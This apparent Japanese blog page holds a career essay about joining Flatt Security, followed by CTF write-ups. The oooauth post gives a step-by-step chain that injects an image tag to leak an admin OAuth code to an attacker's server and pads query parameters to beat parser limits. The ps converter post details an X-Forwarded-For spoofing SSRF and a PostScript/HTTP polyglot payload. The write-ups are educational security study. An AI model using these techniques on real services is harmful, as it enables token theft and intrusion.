Flatt Security に入社しました

2020 年より約 4 年間長期インターンとして携わってきた Flatt Security に、2024 年 4 月 1 日付で正社員として入社しました。この記事では、Flatt Security への入社を決意した理由を振り返り、これから取り組みたいことを表明します。

セキュリティとの邂逅からこれまでを振り返る

私がセキュリティという分野に出会ってからこうして入社するまでにはさまざまな出来事があり、それらの経験によって私のセキュリティに対する関心や情熱が形成されてきました。ここではセキュリティに出会ってからそれに本気で向き合いたいと思うようになった経緯や、セキュリティエンジニアから開発エンジニアへ転向した理由などを振り返ります。

セキュリティへの技術的興味から開発者としての当事者意識へ

私がプログラミングを始めたのは中学2年の頃ですが、当時はゲームや bot の開発、自然言語処理などを主にやっていて、セキュリティの勉強を始めるのはその6年ほど後でした。セキュリティに出会ったきっかけは、私が所属していた大学サークル TSG が SECCON で優勝したことです。それまでセキュリティについてあまり触れてこなかった私は、「CTF で世界一を取ったチームがこんなにすぐそばにいるなら、この機会に CTF を始めてみよう」と思い、優勝メンバーが開催してくれた CTF 入門勉強会に参加し始めました。最初の勉強会は pwn の入門で、「C 言語をコンパイルしてできたバイナリって、人間に読めるの!?」という衝撃から始まったことを記憶しています1。その後 web や crypto の勉強会に参加したり、常設 CTF を少しずつ解き進めたりしました。現在 Flatt Security の CTO である米内さんは TSG のメンバーでもあり、米内さんが開催した CSS Injection の勉強会に参加したこともありました。

こうして初めは単なる技術的興味から CTF を勉強していましたが、大学 2 年の夏に起きた 7pay 事件を機に、開発者としてセキュリティへの当事者意識を持つようになりました。サービス開始からわずか数日で不正利用が明らかになり、そのままサービス終了へ至ったことに、プログラミングを趣味としていた私は強烈な衝撃を受けました。もし私が開発したものに似たようなことが起きたら、つまり私が丹精を込めてコツコツ開発してようやくリリースに漕ぎ着けたプロダクトが、リリース直後にセキュリティ上の問題が発覚してそのままお蔵入りにせざるを得なくなったら、あまりにも悔しいだろうと思いました。せっかく磨き上げたプロダクトが、ニーズではなくセキュリティ上の問題によって再起不能になるのは、あまりにももったいないと思うのです。

その年の冬、Flatt Security の創業者であり TSG のメンバーでもある井手さんに、セキュリティエンジニアとしての長期インターンのお誘いをいただきました。「開発者としてセキュリティをしっかり勉強しなければ」と思っていた私にとって、Web サービスのセキュリティ診断をするという経験はとても魅力的でした。また会社の当時のミッション2である「セキュリティの力で信頼をつなげ、クリエイティブな社会を実現する」というフレーズは、「手塩にかけて作ったプロダクトがセキュリティ上の問題でコケないようにしたい」という私の考えに共鳴するものでした。このような理由から、私は Flatt Security でのインターンを決断しました。

インターンで芽生えた課題意識

「セキュリティの知識を身に付けたい」という理由で始めたインターンでしたが、実際にセキュリティ診断に携わると、世の中のプロダクト開発におけるセキュリティにおける理想と現実のギャップを感じるようになりました。そして現実を理想に近づけていくためには従来のワンショットのセキュリティ診断では限界があり、もっと開発組織と近い距離感で、開発サイクルに伴走してプロダクトのセキュリティに携わる必要があると考えるようになりました。

診断で深刻な脆弱性を発見したことは何度もありましたが、私が脆弱性を発見したということは、その脆弱性が生まれてから診断時点までにずっと見過ごされてきたことを意味します。開発者がコードを書いた時点やプルリクエストをレビューした時点で、どうしてそれらの脆弱性は気づかれなかったのでしょうか。脆弱性が見過ごされたままプルリクエストがマージされるという構造を根本的に解決したいと思うものの、診断エンジニアに見えるのは出来上がったプロダクトだけで、その背後にある開発組織にアプローチできないことに歯痒さを感じていました。

開発組織が自力で多くの脆弱性を見つけられるようにしたいと考えている理由はもう一つあります。それは、プロダクトを作った人たちだからこそ効率的に脆弱性を見つけられるはずだということです。セキュリティ診断ではもちろんセキュリティの知識が求められますが、診断対象のプロダクト特有の知識と合わせてこそ効率的な検査や精緻なリスク評価が可能になります。例えば診断対象のシステムの挙動に合わせてうまく自動診断ツールを繋ぎ込む実装は、診断における重要な仕事の一つです。さらに、ビジネスロジック脆弱性と呼ばれるものについては、そもそも「問題視される挙動とは何か」を診断対象サービスごとに考える必要があります。例えば「ユーザーの実名が閲覧可能」という事象は、実名制の Web サービスでは正常な挙動ですが、ハンドルネーム制の Web サービスであれば個人情報の漏洩となります。このようにプロダクトの仕様や特性を把握することは高品質なセキュリティ診断に不可欠であり、Flatt Security における診断工程でも、脆弱性を探す前にシステムの正常系を理解するところから始まります。一方で開発組織のメンバーであれば、プロダクトを既に熟知しているのでオーバーヘッドなく効果的に脆弱性を調査できるのではないかと思うのです。外部の視点だからこそ先入観を排除して脆弱性を見つけられるという意見もあり、私はそれを否定することはしませんが、ベンダーの立場で診断に携わってきた経験から感じるのは、プロダクトを熟知していれば見つけやすい脆弱性も少なくないということです。

コードが書かれてから診断で脆弱性が見つかるまでのタイムラグにも課題を感じていました。特に機能の仕様そのものや根本的な設計の問題に起因する脆弱性が見つかった場合、診断報告書で提案する修正方法は仕様や設計の根本的な変更を求めるものとなりがちですが、一度作ったものを設計段階から作り直すのは手戻りコストがかかります。その度に、「仕様策定や設計の段階でセキュリティエンジニアが携わっていれば、手戻りはもっと小さかったのに」と悔しく思っていました。

近年の開発スタイルの進化と旧来のセキュリティ診断との間のミスマッチを感じることもありました。例えばイテレーティブな開発スタイルが普及してきたのにもかかわらず、セキュリティ診断の実施頻度がそれより遥かに低いという点です。診断の過程で脆弱性を発見して再現手順と合わせて報告したものの、報告書がお客様に読まれるまでの間にプロダクトのリリースがあって、その変更によって再現手順が動かなくなってしまうこともありました。つまり、プロダクトは刻々と変化していくのにもかかわらず、従来のセキュリティ診断がそのスピードについていけていないのです。また、一度セキュリティ診断をして脆弱性を一通り洗い出したとしても、その後すぐにプロダクトは変化していき、その変化の過程で新しい脆弱性が埋め込まれてしまうかもしれません。このように日々生まれるかもしれない脆弱性に対応するには、低頻度のセキュリティ診断ではタイムラグが大きすぎると感じていました。

以上の課題意識を裏返すと、私が考えるプロダクトセキュリティの理想状態は次のようなものです。コードを書いた時点やプルリクエストをレビューする時点などで、開発組織が自力でほとんどの脆弱性を見つけている。プロダクトは日々変化するものの、継続してセキュアな状態が保たれている。ベンダーによるセキュリティ診断で報告される脆弱性は、専門的なスキルや外部視点がなければ検出できないようなものだけである。これをベンダー側の立場から見ると、セキュリティエンジニアは難度の高い脆弱性の調査により多くの時間を割くことができ、時間あたりの提供価値を高めることができるはずです。プロダクトを熟知している開発組織とセキュリティの専門性が高いベンダーがそれぞれの強みを活かしてプロダクトのセキュリティを保っている状態を私は目指しています。

プロダクトセキュリティの理想を追求したいからこそ、開発エンジニアを志す

インターンでセキュリティ診断に携わったことで、プロダクトセキュリティに関する以上のような課題意識を、推測ではなく実感として持つようになりました。Flatt Security ももちろんこういった課題を乗り越えるため、開発組織に寄り添ったサービスを提供できるよう探求し続けています。私も開発組織におけるプロダクトセキュリティのあり方を抜本的に革新したいと思っていたものの、それを考えるには開発組織に関する知識が自分に不足していると感じていました。開発サイクルに伴走するサービスを考えたくても、そもそも開発サイクルというものへの解像度が足りていないのです。

就職について考え始めた修士 1 年の春、私は開発エンジニアとしてプロダクト開発に携わりたいと考えていました。自ら開発を手がけることでプロダクトが作られる現場を知り尽くし、そのセキュリティを理想状態へ持っていくために開発サイクルのあらゆるプロセスを改革したいと考えていました。

ちなみに開発エンジニアを志望したもう一つの背景として、そもそもソフトウェア作りが好きであることがあります。Flatt Security でインターンを始めた動機も「自分が開発したソフトウェアをセキュアにするための知識が欲しい」であり、最終目的はソフトウェアを作ることでした。したがって私のキャリアの中心はソフトウェア開発であるはずで、そうしたキャリアのためには開発者としての実務経験が有利に働きます。当時の私はセキュリティエンジニアとしての経験や、内製のセキュリティ診断プラットフォームの開発経験はあったものの、開発者としてのキャリアを築くにはもう少し本格的な開発経験が欲しいと感じていました。

こうして開発エンジニアへの転向を決意したわけですが、就職先として当初考えていたのはいわゆるメガベンチャーと呼ばれるような企業でした3。様々なプロダクトを抱える企業であれば、多様な開発組織のあり方に触れることができるというのが一つの理由です。また開発者として成長する上でも、様々な領域のスペシャリストが集うメガベンチャーは魅力的な環境です。Flatt Security ではメガベンチャーを経て中途入社した社員もおり、そういった社員がそれまでのキャリアで培ったスキルや人脈などを Flatt Security で役立てている姿も、私がファーストキャリアにメガベンチャーを選ぶ後押しとなりました。

Flatt Security への入社を決意した 2 つの転機

就職を考え始めた頃はメガベンチャーで開発エンジニアとして働くことを考えていましたが、その年の夏に 2 つの転機が訪れます。

1 つ目の転機は、「未来会議」という社内イベントです。これは 0→1 から 1→100 のフェーズに移りつつある Flatt Security において、事業をどのように進化させれば非連続的な成長を達成できるかを事業部全体で考える社内ビジネスコンテストのようなものです。診断サービスに直接関わるセキュリティエンジニアや営業・PM のみならず、人事や総務などのメンバーも参加し、いくつかのチームに分かれて事業のアイデアを 2 日間じっくり議論しました。そこで私は先述したプロダクトセキュリティへの課題意識をぶつけ、Flatt Security として何ができるかをチームメンバーと議論しました。

この社内イベント「未来会議」を通じて、私は「Flatt Security のが面白い」と感じました。Flatt Security の非連続的な成長に携われるのは今であって、5〜10年後では同じ経験はできないでしょう。つまり、メガベンチャーでしばらく働いた後に Flatt Security に戻ってきたとしても、「未来会議で感じた今の Flatt Security の面白さ」「事業を 1→100 に成長させる経験」は体験できないのかもしれないのです。

このイベントを通じて強く印象に残ったもう一つのことは、プロダクトセキュリティのあり方に変革を起こす上での Flatt Security の強さです。私はそれ以前にも大学の授業などでビジネスコンテストに参加したことがありましたが、「これならうまくいくはずだ」「これを積極的に推し進めたい」と思える事業アイデアはなかなか作れませんでした。一方で、この社内ビジネスコンテストで各チームが考えたアイデアはどれも魅力的で、説得力のあるものでした。全てのチームが強いアイデアを出せた背景としては、次のような事柄があると私は考えています。

  • プロダクトセキュリティにおける課題意識が想像に基づいたものではなく、診断サービスなどの提供を通じてお客様の現実のセキュリティ課題に向き合って培われたものであること
  • 他社がこれまでやってこなかったチャレンジングな事業アイデアでも、それを可能とする優秀で熱意のあるメンバーが揃っていること
  • 新しいサービスが受容されるために必要な信頼・ブランド力・顧客基盤が、これまでの診断サービスの提供によって蓄積されていること

私の以前の考えは、「Flatt Security を出てプロダクト開発組織に入り、自分でセキュリティを推し進めていく」というものでした。一方でこの未来会議で見せつけられたのは、Flatt Security というチームは、プロダクトセキュリティのあり方を革新する上で個人より遥かに強い武器を持っているということでした。

私が Flatt Security への入社を決意した 2 つ目の転機は、Flatt Security が開発しているセキュリティプロダクト「Shisho Cloud」のチームに参加したことです。つまり、Flatt Security の内部でセキュリティ診断からプロダクト開発へジョブチェンジしたことになります。私が開発エンジニアとしての就職を考えていた理由の一つは開発者としての実務経験を積むことでしたが、Shisho Cloud の開発に携わるうちに、ここで活躍できれば自信を持って実務経験のある開発者を名乗れると感じるようになりました。

そして私が Shisho Cloud のチームに参加したのは、Shisho Cloud が正式リリースされる直前でした。つまり Shisho Cloud というプロダクトのコア機能に携われる機会が、今ならたくさんあるのです。実際これまでに、GitHub Actions から Shisho Cloud にログインするための OIDC ベースの認証機構や、セキュリティポリシーを記述した TypeScript コードを Shisho Cloud 上で実行する基盤づくりなど、技術的に奥深い領域に携わることができましたし、これからも面白いチャレンジが待っています。

Flatt Security の今

私が Flatt Security への入社を決意したのは 1 年ほど前です。前節で述べた「Flatt Security の今の面白さ」は 2023 年春時点のものであり、執筆時点の Flatt Security には新たなチャレンジが待っています。

2023 年 7 月よりセキュリティ診断に対するソースコード診断の無償付帯という施策を打ち出し、セキュリティエンジニアがソースコード情報を活用することで、診断の効率や診断報告書の品質を高めてきました。ソースコード情報を効果的に診断に用いる工夫には、まだまだ探求の余地があると私は思っています。

blog.flatt.tech

また、ChatGPT を始めとする生成 AI 技術は、近年急速に普及してきたものの、セキュリティ診断を始めとするプロダクトセキュリティ領域でその活用はまだ発展途上にあると考えています。セキュリティサービスではお客様の環境の脆弱性情報など様々な秘密情報を取り扱うため、生成 AI やそれを提供するプラットフォームに由来するリスクを把握して適切な利用方法を編み出さなければなりません。このような制約下で生成 AI を用いてセキュリティサービスの進化を探求する試みは、今まさにアツいチャレンジです。

そして先日 Flatt Security は 10 億円の資金調達を行い、合わせて GMO インターネットグループに参画しました。

flatt.tech

私がグループ参画を知ったのは入社を決めた後でしたが、Flatt Security でプロダクトセキュリティの理想を追求していきたいという考えに変わりはありません。そう言い切れるのは、Flatt Security がこれまで大事にしてきた価値観がこれからも保たれていくからです。高度な専門性とエンジニアリングを武器にすること。これまで提供してきたサービスの現状維持に甘んじず、本質的に価値のあるセキュリティサービスを追求し続けること。そして倫理観——自らの専門性を悪用しないだけでなく、専門性を正しく活かして世の中のために役立てること。Flatt Security をここまで成長させてきたこれらのコアは、これからも我々を駆動し続けます。

blog.flatt.tech

Flatt Security に限らず、会社というものは時間と共に変化していきます。時代が急速に変化していることを考えれば、変化は生存戦略として当然のことです。他社でも企業が合併したり、経営陣が交代したり、志望していた部署がなくなったり、憧れの先輩社員が転職したり、こういったことが就職活動を始めてから入社するまでに起き得ます。そういった不確実性を踏まえてファーストキャリアを選ぶには、会社の背骨をなす軸というものが一つの観点となるでしょう。これほどのビッグイベントを経ても Flatt Security が Flatt Security であり続けたからこそ、これからも長いスパンで私と Flatt Security は同じ志を持って前進していけると思っています。

グループ参画で得られたものは、10 億円の資金だけではありません。特に私が期待しているのは、グループ内のエンジニアとの横の繋がりです。グループが抱える様々なサービスの開発に携わるエンジニアとの交流を深め、それぞれが抱えるセキュリティ上の課題により解像度高く向き合うことができればと考えています。またソフトウェア開発において私より高い専門性を持つ方もグループ内にたくさんいらっしゃるでしょうから、そういった方から刺激を受けることができれば幸いです。

Flatt Security で取り組みたいこと

先述したように、私が開発エンジニアへの転向を決めた理由は、「開発組織の内側からプロダクトセキュリティを理想に近づけていきたい」「開発者としてキャリアを築くために実務経験が欲しい」というものでした。後者については、1 年半以上 Shisho Cloud の開発に携わったことにより達成されつつあると感じています。これからは前者、つまり Shisho Cloud そのものをセキュアに開発するための施策にも取り組み、プロダクトセキュリティの理想を追求していきます。これまでにも新機能の設計時にセキュリティ上の懸念事項を議論したり、プルリクエストに対してセキュリティ観点を含めたレビューをしたりしてきましたが、これからも開発サイクルの様々な工程に対して有効なアプローチを探求し続けます。もちろん、セキュリティプロダクト Shisho Cloud の提供を通じて世の中の開発組織のセキュリティにも貢献していきます。

プロダクトセキュリティの文脈では「開発スピードとセキュリティの両立」がしばしば語られますが、スピードを重要視しているのは Shisho Cloud の開発も同じです。競合製品がメキメキと成長しているこのレッドオーシャンで我々は生き抜かねばなりませんが、一方でそのためにセキュリティを犠牲にするという選択肢は毛頭ありません。このような厳しい環境であっても開発サイクルに伴走してセキュリティを担保し続けることができれば、そのプラクティスは世の中の多くの開発組織でも通用するはずです。

Flatt Security の Shisho Cloud とプロフェッショナルサービスはともに、今大きな転換期にあります。これまではセキュリティの課題を解決する手段の提供に注力してきましたが、これからは個々の手段にとどまらず、そもそも何を守るべきか・なぜ守るべきか・どれほど守れているかなどを、直感ではなく検証可能な事実に基づいて説明できるためのプラットフォームと専門集団へと進化していきます。

blog.flatt.tech

Shisho Cloud はお客様のプロダクトを構成する様々なコンポーネントの情報を集約し、これらの疑問に論理立てて答えるためのプラットフォームへと再設計されます。プロフェッショナルサービスはこの集約された情報をもとに、重点的に守るべきものを合理的に判断し、守るための効果的な手段を提案することができます。その手段はこれまで提供してきたセキュリティ診断に限らず、例えば Shisho Cloud 上の自動検査として実現できるものもあるでしょう。そしてセキュリティ診断で報告したリスクは PDF の報告書に綴じるのみならず、「何がどれほど守られていたか」というデータとしてまた Shisho Cloud に集約される姿を目指します。

Shisho Cloud を活用してプロフェッショナルサービスを進化させ、プロフェッショナルサービスの提供価値を最大化するために Shisho Cloud を進化させようとしているこのフェーズにおいて、セキュリティ診断と Shisho Cloud 開発の両方を経験してきた者として、この共進化に心血を注いでいきたいと考えています。

おわりに

私の技術力やセキュリティへの情熱を養ってくれた TSG および Flatt Security のみなさまに深く感謝を申し上げます。就職活動を通じて技術やキャリアについて様々なことを学ばせてくださった、他企業のエンジニアや人事のみなさまにも厚く御礼申し上げます。時には切磋琢磨し時には励まし合った友人たち、そして生まれてこのかた私を支え続けてくれた家族にも心から感謝しています。

Flatt Security では調達した資金をもとにプロフェッショナルサービスや Shisho Cloud に投資していくべく、セキュリティエンジニア・ソフトウェアエンジニアなど様々な職種に対し積極的に採用活動をしております。この記事を読んで弊社に興味を持った方や一緒に働きたいと感じた方がいらしたら、ぜひ採用情報ページをご覧ください。中途採用・新卒採用・長期インターンなど様々なステージの方を歓迎しております。特に学生の方は、「就活の時期になったら Flatt Security を検討してみよう」ではなく、今インターンとして Flatt Security の一員となることを私は強く勧めます。それは私がここまで述べてきたように、「Flatt Security のが面白い」からです。私や頼もしいメンバーたちと共に、ワクワクする Flatt Security の今を形づくり、プロダクトセキュリティの理想へ前進していきましょう。応募するか迷っている段階でも、カジュアル面談でお気軽にご相談ください。

またこの記事を読んでセキュリティに関心を持った東大生の方がいらしたら、ぜひコンピューター系サークル TSG への入部をご検討ください。初心者向けの勉強会が予定されていますし、技術的に困ったことを相談できる優秀な部員たちとの接点にもなります。近い興味を持った仲間との交流をぜひ深めてください。

ここまでお読みくださりありがとうございました。


  1. ちなみに TSG には難解プログラミング言語でコードゴルフをする文化があり、そのおかげでアセンブリを読むハードルが下がったと思っています。難解プログラミング言語の読み書きを経験していると、アセンブリは読みやすいとすら感じてしまいます。そう、難解プログラミング言語は役に立つのです。
  2. 現在のミッションは「エンジニアの背中を預かる」というフレーズですが、これも開発エンジニアがプロダクト作りそのものに注力できるように Flatt Security がセキュリティ面を支えるというもので、やはり私の考えとの共鳴を感じています。
  3. 振り返ってみると、結局メガベンチャーではなく Flatt Security への入社を決めた後、入社直前に GMO インターネットグループへの参画が決まったので、人生って面白いですね。

SECCON Beginners CTF 2023 writeup (oooauth)

SECCON Beginners CTF 2023 にチーム TSG として参加しました。web/hard 問題の oooauth をふぁぼんさんと協力して解いたのですが、作問者さんの想定解とちょっとだけ違ったのでその点について書きます。

ふぁぼんさんの writeup はこちら:

yuyusuki.hatenablog.com

問題の概要

OAuth2 のサーバーとクライアントが与えられます。admin というユーザーの権限を用いて GET <client>/flag のレスポンスを得ることが目標です。

攻撃の概要

攻撃の大まかな流れは作問者さんの想定解とほぼ同一です。ここでは端的な説明に留め、詳細は作問者の yuasa さんによる writeup にお譲りします。

  1. <server>/auth?response_type=code&client_id=oauth-client&scopes=${encodeURIComponent('<img\tsrc="自分のサーバー">')}&redirect_uri=${encodeURIComponent('<client>/callback?error=a')} を手元で開き、guest の未使用認可コードを入手する
    • ここで scope に仕込んだ <img\tsrc="自分のサーバー"> が、のちに admin の開く画面にインジェクションされる
  2. report 機能を用いて、admin crawler に <server>/auth?response_type=code&client_id=oauth-client&scopes=hoge&redirect_uri=${encodeURIComponent('<client>/callback?code=さっき手に入れたguestの認可コード&'+Array(999).fill('=1').join('&'))} を開いてもらう
    • コールバック画面にインジェクションされた <img\tsrc="自分のサーバー"> によって、admin crawler は自分のサーバーへリクエストを送信し、その Referer ヘッダーには admin の認可コードが記載されている
  3. <client>/callback?code=リークしたadminの認可コード を手元で開く
  4. admin としてログインできたので <client>/flag を開くと flag が手に入る

yuasa さんの解法と異なるのは、2. で与えた redirect_uri です。

このパラメータを細工する目的は yuasa さんの解法と同一です。認可コードは一度使用すると無効化されてしまうため、admin crawler がページを開いた段階で admin の認可コードが消費されてしまうのを妨害する必要があります。そのために、admin crawler がページを開いたときに消費する認可コードとして、admin の認可コードではなく攻撃者が redirect_uri に仕込んだ guest の認可コードが選ばれるようにすることを考えます。ただし redirect_uri を単純に <client>/callback?code=GUEST_CODE のようにすると、admin crawler が開くコールバックページは <client>/callback?code=GUEST_CODE&code=ADMIN_CODE となり、token endpoint が code の末尾要素を選ぶ実装になっているために admin の認可コードが消費されてしまいます。そこで、クエリパラメータのパーサーの挙動を利用してこの状況を回避します。ここまでは yuasa さんの解法と同一です。

3 つのパーサーの挙動の違いを利用した認可コードのすり替え

私が使用したクエリパラメータは ?code=GUEST_CODE&=1&=1&...&=1 という形式となっています。これは、express がクエリパラメータのパースに用いる qs ライブラリが、デフォルトで 1001 個目以降のパラメータを無視する仕様を利用したペイロードです。admin crawler が開くコールバックページの URL は <client>/callback?code=GUEST_CODE&=1&=1&...&=1&code=ADMIN_CODE となりますが、大量のダミーパラメータを足したことにより、末尾の code=ADMIN_CODE が無視されてクエリパラメータのパース結果は { "code": "GUEST_CODE" } となります。これにより、admin の認可コードを消費させずに代わりに guest の認可コードを消費させることができます。

ダミーパラメータ &=1 はパラメータ名が空文字列となっていますが、これには意図があります。代わりに &a=1 をダミーパラメータとして使うと、nginx で upstream sent too big header while reading response header from upstream というエラーが発生し、502 Bad Gateway レスポンスが返ります。これは、<server>/approve が返す 302 Found レスポンスの Location ヘッダー <client>/callback?code=GUEST_CODE&a=1...&a=1&code=ADMIN_CODE が長すぎて、nginx の proxy_buffer_size (デフォルトで 4k) を超えてしまうためです。Location ヘッダーを含めたレスポンスヘッダーを 4000 バイトにおさめるには、ダミーパラメータ 1 つあたり3文字以内にする必要があります。

3文字以内に収めるために本解法ではパラメータ名を空にして &=1 を利用しましたが、逆にパラメータ値を空にした &a=ペイロードに使うと、今度は <server>/token で PayloadTooLargeError: too many parameters というエラーが発生します。

ここで起きている事象を説明します。「1001 個目以降のパラメータを無視する」という qs の仕様により &code=ADMIN_TOKEN を無視することはできたのですが、<client>/callback<server>/token にリクエストする際に、クエリパラメータに &grant_type=authorization_code&redirect_uri=<client>%2Fcallback を追加します。従って <server>/token に送信されるリクエストボディは code=GUEST_TOKEN&a%5B%5D=&...&a%5B%5D=&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となり、パラメータ数は 1002 です。ちなみに server はリクエストボディをパースするのに bodyParser.urlencoded({ extended: true }) を用いています。これは内部的に qs を利用しているのですが、qs を呼び出す前にパラメータ数が多すぎないかどうかを検証しています。具体的には、リクエストボディに出現する & を数え、1000 を超える場合には例外を投げます。先程の PayloadTooLargeError: too many parameters エラーはこれが原因です。

    // body-parser/lib/types/urlencoded.js#L147-L154
    var paramCount = parameterCount(body, parameterLimit)

    if (paramCount === undefined) {
      debug('too many parameters')
      throw createError(413, 'too many parameters', {
        type: 'parameters.too.many'
      })
    }

Satoooon さんの writeup では、redirect_uri 中のクエリパラメータにあらかじめ grant_type 及び redirect_uri パラメータを入れておくことにより、前述したパラメータ数の増加を防いでいます。なるほど確かに 😇

話を戻すと、本解法で用いた &=1 は、この制約を突破することができます。これについて、callback のクエリパラメータが処理される過程に沿って説明します。

まず <server>/approve において、攻撃者が与えた redirect_urinew URL を用いてパースされます。クエリパラメータのパースには組み込みの URLSearchParams が用いられます。?code=GUEST_CODE&=1&=1&...&=1 をパースした結果は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ... } となります。これに対し server は admin の認可コードを .append し、redirectUrl.searchParamsURLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ..., 'code' => 'ADMIN_CODE' } となります。その結果、admin crawler は <client>/callback?code=GUEST_CODE&=1&...&=1&code=ADMIN_CODE にリダイレクトされます。

次に <client>/callback の処理を考えます。client は qs ライブラリを用いてクエリパラメータをパースし、params 変数に格納します。これはリクエストボディではなく URL 中のクエリパラメータなので、パースに用いられるのは前述の body-parser ではなく、express/lib/middleware/query.js です。このミドルウェアは body-parser と違いパラメータの個数チェックをせず、そのまま qs ライブラリを呼び出します。そのため、<client>/callback では too many parameters エラーが発生しません。

話を戻すと、params 変数に格納されたパース結果は { "code": "GUEST_CODE" } となります。1001 個目以降のパラメータを無視する qs の仕様により、末尾の code=ADMIN_CODE が無視されます。また、qs はパラメータ名が空文字列になっているものを無視するので、ダミーパラメータ &=1 も無視されます。この paramsgrant_typeredirect_uri を追加した結果、 <server>/token に送信されるリクエストボディは code=GUEST_CODE&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となります。このパラメータ数は 3 なので、<server>/token では too many parameters エラーが発生せず、guest の認可コードを消費させることができます。

ちなみに、ダミーパラメータとして &=&=&=... を使うことも可能です。一方で、&&&... では攻撃が成立しませんでした。&&&... のような空のパラメータは URLSearchParams に無視されてしまうため、<server>/approve でリダイレクト先を生成する時点でダミーパラメータが除去されてしまい、<client>/callback?code=GUEST_CODE&code=ADMIN_CODE にリダイレクトされてしまうのです。

というわけで、3 種類のクエリパラメータパーサー (URLSearchParams, express/lib/middleware/query.js , body-parser) の挙動の差異を利用することで、admin の認可コードの代わりに guest の認可コードを消費させることができました。

おわりに

非常に面白い問題でした。個々の脆弱性単体ではフラグを取れそうにないのにも関わらず、うまく組み合わせると見事に解けるところが美しいと思っています。

  • CSRF 対策がないけど、crawler に guest としてログインさせたところで何ができる?
  • HTML エスケープしてないけど、CSP のせいで XSS できない
  • Referer から認可コードを取得できたけど、リクエストが来た時点で認可コードが使用済み
  • コールバック画面をエラーにすれば認可コードが消費されないが、エラー画面では HTML injection もできない

こんな感じだったのでずっとウンウン唸っていたのですが、なんとか解けてよかったです。

また、想定解 code[2]=guest-code&code=hoge&code=admin-code を見てびっくりしました。 code[2]=guest-code&code[0]=hoge&code=admin-code とかは試したんですが…。qs ソースコード読み力が足りていませんでした 😔

ちなみに、server で access_tokens 変数が Map 型なのに access_tokens[access_token_value] のようにプロパティアクセスをしているとか、client/views/index.ejs が使っている jQuery と Bootstrap のバージョンがかなり古くて既知の脆弱性が色々あるとかも気になったんですが、うまく攻撃に繋げられませんでした。他の方の writeup を楽しみにしています。

Ricerca CTF 2023 writeup (ps converter)

Ricerca CTF 2023 にチーム TSG として参加しました。全チーム中 10 位で、また賞金獲得条件を満たす国内の学生チーム1の中では 1 位となりました。

私は主に Web の問題を解いていました。そのうち ps converter の writeup を書いていきます。

ps converter

概要

backend の handleRoot は、X-Forwarded-For ヘッダーの末尾の IP アドレス2TCP 接続して script を送信します。実は handleRoot が読み取る X-Forwarded-For ヘッダーを自由に変えることができるので、SSRF ができます。そこでこの値を 123.45.67.102 (backend) にすると、handleRoot は本来 frontend:3000 にある ps2pdf daemon に対して script を送信するはずが、backend:3000 に送信してしまいます。

http://backend:3000/admin に (一定の条件のもとで) フラグを返すエンドポイントがあるので、 SSRF で送信される script/admin への HTTP リクエストとすることで、フラグが得られます。ただし handleRootscript を ps2pdf daemon に送信する前に、file コマンドと ps2ps コマンドを用いて、script が PostScript ファイルであることを検証します。従って、script を PostScript と HTTP リクエストの polyglot にする必要があります。

X-Forwarded-For ヘッダーの偽装

特に細工をせず http://frontend:5000/converter にリクエストすると、proxy が X-Forwarded-For: 123.45.67.100 というヘッダーを付与するため、script123.45.67.100 (frontend) に送信されます。

クライアントからのリクエストに X-Forwarded-For: XXXXXXXX をつけておくと、proxy はその末尾に frontend の IP アドレスを追記します。従って backend が受け取る HTTP リクエストでは X-Forwarded-For: XXXXXXXX, 123.45.67.100 となっており、SSRF の送信先となる末尾の IP アドレスは相変わらず 123.45.67.100 です。

実は、クライアントからのリクエストに X-Forwarded-For ヘッダーを複数つけておくと、backend の handleRootreq.Header.Get("X-Forwarded-For") した結果は 1 個目の X-Forwarded-For ヘッダーとなり、proxy による追記を受けません。これによって、backend が読み取る X-Forwarded-For ヘッダーを任意の値にすることができます。

この原理を説明します。

クライアントは X-Forwarded-For ヘッダーを 2 つつけたリクエストを送信します:

X-Forwarded-For: XXXXXXXX
X-Forwarded-For: YYYYYYYY

すると、proxy は 2 つ目の X-Forwarded-For ヘッダーに frontend の IP アドレスを追記します:

X-Forwarded-For: XXXXXXXX
X-Forwarded-For: YYYYYYYY, 123.45.67.100

(同名のヘッダーが複数ある場合、そのヘッダーの combined field value は個々の header value を上から順にカンマで join したリストです (RFC 9110)。したがって、リストの末尾に追記する意図で proxy が一番下の X-Forwarded-For ヘッダーの末尾に IP アドレスを追記する、という挙動はまっとうなものです。)

backend の handleRootreq.Header.Get("X-Forwarded-For") というコードで X-Forwarded-For ヘッダーの値を取得しますが、req.Header.Get は重複するヘッダーが複数ある場合に先頭の値、今回の場合は "XXXXXXXX" を返します。従って XXXXXXXX を適当に差し替えることで、handleRoot が読み取る X-Forwarded-For ヘッダーを任意の値にすることができます。

余談: ボツ方針

ちなみに、X-Forwarded-For ヘッダーが 1 個もない HTTP リクエストを backend に届けることができれば、それでも backend への SSRF ができます。

X-Forwarded-For ヘッダーをどうにか除去できないかと proxy 周りを眺めたのですが、結局除去方法が思いつかなかったのでこの方針は使いませんでした。

X-Forwarded-For ヘッダーを除去できた仮定のもとで、backend にリクエストが飛ぶ原理は次の通りです。

handleRoot でリクエストを処理する際、X-Forwarded-For ヘッダーがないのでx_forwarded_for := req.Header.Get("X-Forwarded-For") はゼロ値 "" となります。

すると、 ips := strings.Split(x_forwarded_for, ", ")[]string{""} となります。Go のドキュメントによれば、strings.Split を使って空文字列を split すると、結果は空のスライスではなく[]string{""} となるようです。個人的には、空のスライスを期待するのですが。

If s does not contain sep and sep is not empty, Split returns a slice of length 1 whose only element is s.
https://pkg.go.dev/strings#Split

従って、ps2pdf := ips[len(ips)-1]"" となります (strings.Split の謎仕様のおかげで index out of range が発生せずに済みます)。

すると tcp_addr, err := net.ResolveTCPAddr("tcp", ps2pdf+":3000")":3000" のパース結果、つまり &net.TCPAddr{IP:net.IP(nil), Port:3000, Zone:""} となります。

このアドレスに DialTCP するとローカルに飛んでくるので、backend から backend への TCP 通信となります。

If the IP field of raddr is nil or an unspecified IP address, the local system is assumed.
https://pkg.go.dev/net#DialTCP

PostScript と HTTP の polyglot

作成した script はこちらです。

%! /admin HTTP/1.1
%a:a
 (
Host: backend:3000
Client-Ip: 127.0.0.1
a: )

要件

SSRF を利用してフラグを得るために、script が以下の要件を満たすようにします。

  • file コマンドの実行結果に PostScript document text が含まれるようにする
  • ps2ps コマンドに与えてもエラーを起こさない
